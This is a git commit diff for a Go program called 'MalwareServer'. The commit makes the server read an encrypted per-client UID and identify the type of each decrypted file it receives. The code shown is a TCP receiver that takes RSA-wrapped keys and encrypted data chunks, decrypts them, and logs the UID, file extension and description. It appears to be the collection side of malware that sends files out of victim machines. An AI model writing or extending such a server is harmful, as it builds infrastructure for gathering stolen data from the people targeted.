Make server get filetype and identify file

This commit is contained in:
Joren Schipman 2024-05-01 22:29:29 +02:00
parent 721b4b5ddc
commit 7197c347ea
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 24 additions and 2 deletions

2
go.mod
View File

@ -1,3 +1,5 @@
module MalwareServer module MalwareServer
go 1.22.2 go 1.22.2
require github.com/liamg/magic v0.0.1 // indirect

View File

@ -13,6 +13,7 @@ import (
"io/ioutil" "io/ioutil"
"log" "log"
"net" "net"
"github.com/liamg/magic"
) )
func main() { func main() {
@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
iv, _ := decryptKeyIV(ivData,privateKey) iv, _ := decryptKeyIV(ivData,privateKey)
conn.Write([]byte("Received IV\n")) conn.Write([]byte("Received IV\n"))
uidData, _ := bufio.NewReader(conn).ReadString('\n')
uid, _ := decryptKeyIV(uidData,privateKey)
conn.Write([]byte("Received UID\n"))
var ciphertext []byte var ciphertext []byte
var chunk string var chunk string
var plaintext []byte var plaintext []byte
@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
conn.Write([]byte("Received and decrypted chunk\n")) conn.Write([]byte("Received and decrypted chunk\n"))
} }
fmt.Println("Decrypted text:", string(plaintext)) handleDecrypted(plaintext, uid)
conn.Write([]byte("Ready for next operation\n")) conn.Write([]byte("Ready for next operation\n"))
} }
@ -172,3 +177,18 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage))) decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
return decodedKey, err return decodedKey, err
} }
func handleDecrypted(decryptedDataB []byte, uidB []byte){
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
fileType, err := magic.Lookup(data)
if err != nil {
if err == magic.ErrUnknown {
fmt.Println("File type is unknown")
}else{
panic(err)
}
}
fmt.Printf("UID: %s\n", string(uidB))
fmt.Printf("File extension: %s\n", fileType.Extension)
fmt.Printf("File type description: %s\n", fileType.Description)
}